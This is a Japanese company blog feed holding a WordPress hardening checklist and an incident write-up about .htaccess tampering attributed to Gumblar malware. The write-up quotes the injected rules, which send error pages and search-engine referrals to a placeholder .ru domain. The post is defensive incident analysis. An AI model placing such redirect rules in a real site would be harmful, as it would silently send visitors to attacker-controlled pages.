フォノクラフト株式会社：作業メモや備忘録など » FTP / FTPS / SFTP http://121.50.42.205/note 作業メモや備忘録など... Fri, 05 Jul 2013 05:17:27 +0000 ja hourly 1 http://wordpress.org/?v=3.1.3 [WP]インストール前から気をつけること（セキュリティ的観点から） http://121.50.42.205/note/wp%e3%82%a4%e3%83%b3%e3%82%b9%e3%83%88%e3%83%bc%e3%83%ab%e5%89%8d%e3%81%ab%e6%b0%97%e3%82%92%e3%81%a4%e3%81%91%e3%82%8b%e4%ba%8b%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3_385 http://121.50.42.205/note/wp%e3%82%a4%e3%83%b3%e3%82%b9%e3%83%88%e3%83%bc%e3%83%ab%e5%89%8d%e3%81%ab%e6%b0%97%e3%82%92%e3%81%a4%e3%81%91%e3%82%8b%e4%ba%8b%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3_385#comments Mon, 25 Jul 2011 07:55:09 +0000 admin http://phono.co.jp/note/?p=385 前置き

wordpressのセキュリティレベルを少しでもを上げる為に、インストール前に確認しておきたいこと。
特にDBのプレフィックスなど後から変更しにくいものもあるので事前に意識しておく。

何れも“気休め”程度にしかならないかも知れない。
しかし1%でもセキュリティレベルが上がれば…と願いつつ。

確認項目

1.インストール時に気をつけること

  1. 必ず最新のwordpressで構築する（※1）
  2. DBのプレフィックス（Prefix）をデフォルトの「wp_」から乱数などに変更する
  3. 管理者名を「admin」のままにしない
  4. 管理者パスワードは乱数などの「複雑なもの」にする

※1：
使い慣れた、または有用なプラグインが最新バージョンに対応していないので最新版が使えない…といった場合もあるが、極力最新版を使う様に心がけたい

2.インストール直後に行っておくこと

  1. /wp-admin ディレクトリ直下に ベーシック認証（.htaccess/.htpasswd）を設定する
  2. /wp-config.php にセキュリティキーを設定する
  3. /wp-config.php や /.htaccess はパーミッションを444（Read Only）にしておく
  4. セキュリティ関連のプラグイン『Secure WordPress』等を入れておく（下記参照）
  5. プラグイン『Akismet』を有効にしておく（WordPress.comでAPI keyを取得する）
  6. デフォルトのサンプル固定ページとコメントは削除（メッセンジャー云々、ゴッサム云々、という固定ページ….）

3.運用中に行うこと、心がけること

  1. 可能な限り新しいバージョンのWordPressを更新しつづける
  2. 定期的にDBやwordpress本体のバックアップを取っておく
  3. プラグイン『admin-ip-watcher』から送られてくるメールを注視する

4.その他（ガンプラー対策も含めて）

  1. FTP接続ではなく、FTPS（FTP-SSL ）やSFTPで接続する
  2. FTPクライアント『FFFTP』は使用しない（SFTPに対応していない、また攻撃されやすい為）
  3. 可能な限りWindows以外のOSで作業する（ウィルスに感染しにくい為）

もしファイル改ざんされてしまったら、真っ先に行う事

まず発見した時点で

  1. 解決する迄、一時的にサイトをクローズする（訪問者に被害が及ぶ可能性が高い為）

次に

  1. WordPressを最新のバージョンにアップデートする
  2. プラグイン等の関係でアップデートが無理ならばgrep等で「base64」というキーワードでwordpress全体を検索し該当箇所を潰す。htmlファイルには妙なJSが埋め込まれていることがある。.htaccessにも妙な埋め込みもある。他にphp自体の改ざん等いろいろある。。。。）
  3. 管理画面などのパスワードを変更する

wordpressセキュリティに関する、有益なサイト

]]> http://121.50.42.205/note/wp%e3%82%a4%e3%83%b3%e3%82%b9%e3%83%88%e3%83%bc%e3%83%ab%e5%89%8d%e3%81%ab%e6%b0%97%e3%82%92%e3%81%a4%e3%81%91%e3%82%8b%e4%ba%8b%ef%bc%88%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3_385/feed 0 htaccessファイルの改ざんについて http://121.50.42.205/note/htaccess%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%81%ae%e6%94%b9%e3%81%96%e3%82%93_290 http://121.50.42.205/note/htaccess%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%81%ae%e6%94%b9%e3%81%96%e3%82%93_290#comments Mon, 11 Jul 2011 13:24:30 +0000 admin http://phono.co.jp/note/?p=290 経緯と原因、そして対策

FTPログやアップロードされたファイルオーナーから察するに、
おそらくFTP情報が漏れて改ざんされた可能性が高い。

改ざん内容から8080系のマルウェアGumblarの線が濃いが、
私の環境でブラウザ確認以外 Windowsは使っていない、
また、パスワードを変えても同じ被害が起こる。

ということは、

FTP通信時に抜かれている可能性も考え得る。
SFTPでの接続だが、抜かれる/漏れる可能性はゼロでは無い。
（FTPクライアントはCyberduckとTransmitの併用。）

さらに、最大の問題が
このFTPアカウントは数人が使用している。
ということ。

確認出来ていないが Windows FFFTP等からのアクセスもあるだろう。
またはキーロガーが仕込まれている。その可能性も大いにある。

応急処置として、
他の方には面倒をかけるが（固定IPで無い為設定できない）、
現在はIP制限を行い、アクセス後毎度PWを変更している。

この処置により、事態は収束したようにも見える。

他の方々には、固定IPとSFTP接続の環境を整えて頂くしかない。

環境が整い次第、個々人にFTPアカウントを切り分けて再設定して頂く。
これにより、万一再発しても、どこから改ざんされているかを特定できる。

ファイルが削除される程度なら、まだ内輪で済まされるが、
この手のリダイレクトはアクセスして頂いてる方々に迷惑かけ、
場合によっては尊大な被害を与えてしまう。

本来アカウント管理は自分では無いのだが、そうも言っていられない。

事態は深刻なのだ。

 

参考

・【注意喚起】Gumblar（ガンブラー）ウイルスによる新たなホームページ改ざん被害を確認｜株式会社ラック
・ガンブラー対策「.htaccess」にも注意！｜セキュリティーブログ
・Gumblar/8080系ウィルスのサイト運営者向け対策サイト

追記された記述の例

下記の記述での 400〜500 Error や 主要検索エンジンからのアクセスの場合、未知のURLに転送されるようになってしまう。 

RewriteEngine On
ErrorDocument 400 http://（ドメイン名）.ru/force/index.php
ErrorDocument 401 http://（ドメイン名）.ru/force/index.php
ErrorDocument 403 http://（ドメイン名）.ru/force/index.php
ErrorDocument 404 http://（ドメイン名）.ru/force/index.php
ErrorDocument 500 http://（ドメイン名）.ru/force/index.php
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://（ドメイン名）.ru/force/index.php [R=301,L]

など…………….

]]> http://121.50.42.205/note/htaccess%e3%83%95%e3%82%a1%e3%82%a4%e3%83%ab%e3%81%ae%e6%94%b9%e3%81%96%e3%82%93_290/feed 0